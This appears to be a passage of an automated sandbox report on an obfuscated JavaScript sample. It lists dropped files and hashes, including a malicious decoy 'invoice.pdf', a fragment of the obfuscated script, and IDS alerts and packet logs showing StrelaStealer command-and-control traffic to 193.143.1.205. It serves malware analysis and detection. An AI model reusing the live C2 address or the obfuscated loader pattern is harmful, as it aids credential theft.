Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\15713e8d-e656-4084-b043-407a695b40d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4a1ed8c2-d69e-4bfb-91ab-9a0835916260.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7f71fd1f-327f-414b-9d5c-167b90735af4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18091), with CRLF line terminators
Entropy (8bit):	4.893301156612837
TrID:
File name:	155442583088718889.js
File size:	21'643 bytes
MD5:	9ce4e984a3f73f1c53bcf835aa902103
SHA1:	286418b2a2abe226c3d0bec4552a31fa35041c1b
SHA256:	e5b48c5b36b1ceceec52dc545c49bf7aa8b6009e29e948b22c1b402b6e816392
SHA512:	f149d25b4169cddacbeff6c4780520ad0175e862809698060f44892282a5f9692089c5d1a52d0fbdc02d5e4d6ddc9f50ccf7cd221cecfe416af11f9884957691
SSDEEP:	384:pbYDVRz0JZcB5B3MOWKn2Lok7gv3hFHvFBgsuEsV6582Iq+o:pbYDVRz0USEXf
TLSH:	EBA297908442A74ECDE406F559E34DD2B7DE95BFE85AA18F2D8718EC1823E702CDDA70
File Content Preview:	function wqrsn(){zkvbwq=[1031,3079,5127,4103,2055,3072];var uayzm=this[awgozhi+wkspmfwk+jtekhqyhr+wlkieiqu+nigjs+kumbdzgc+vimyd+nfbdclkuz](this[rphqiv+ahtdubabf+logifk+jtekhqyhr+bklcjemlm+awgozhi+nfbdclkuz][gqssikte+jtekhqyhr+nigjs+wkspmfwk+nfbdclkuz+nigj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:21:50.128818+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T09:21:50.128818+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T09:21:52.780456+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49738	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:21:49.310410976 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:49.315397978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:49.316298008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:49.323231936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:49.328190088 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128613949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128693104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128740072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128807068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128818035 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.128854990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128859997 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.128917933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.128966093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.129013062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.129017115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.129050016 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.129060030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.129106998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.129173994 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.134004116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.134144068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.134192944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.134267092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.189264059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.189317942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.189490080 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.252790928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.252841949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.252974987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.252979040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253042936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253092051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253098011 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.253156900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253209114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.253217936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253633976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253679991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253684044 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.253729105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.253817081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.254070997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254118919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254168987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254168987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.254231930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254281044 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.254281044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254914999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254961967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.254970074 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.255011082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.255055904 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.255089998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.255136967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.255188942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.255932093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.255980015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.256026983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.256056070 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.256074905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.256123066 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.317338943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.358511925 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.358561993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.358613014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.358685970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377204895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377294064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377307892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377341986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377391100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377399921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377439976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377486944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377563953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377613068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377657890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377676010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377722979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.377767086 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.377770901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378160954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378206968 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.378206968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378257990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378303051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.378304958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378353119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378400087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.378400087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378685951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378734112 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.378772020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378820896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378866911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.378869057 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.379153013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379199982 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.379199982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379256010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379302025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.379337072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379384995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379427910 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.379431009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379478931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379523993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.379524946 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.380004883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380069017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380069971 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.380120993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380167961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380167961 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.380218983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380265951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.380296946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380343914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380390882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.380392075 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.381050110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381097078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381113052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.381144047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381191015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381191969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.381239891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381288052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.381288052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.404130936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.404175043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.404246092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.445281982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.445352077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.445353985 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.483006954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.483088017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.483136892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.483149052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.483186007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.483197927 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.483242035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.483284950 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.501650095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.501727104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.501775980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.501785994 CET	49722	80	192.168.2.10	193.143.1.205
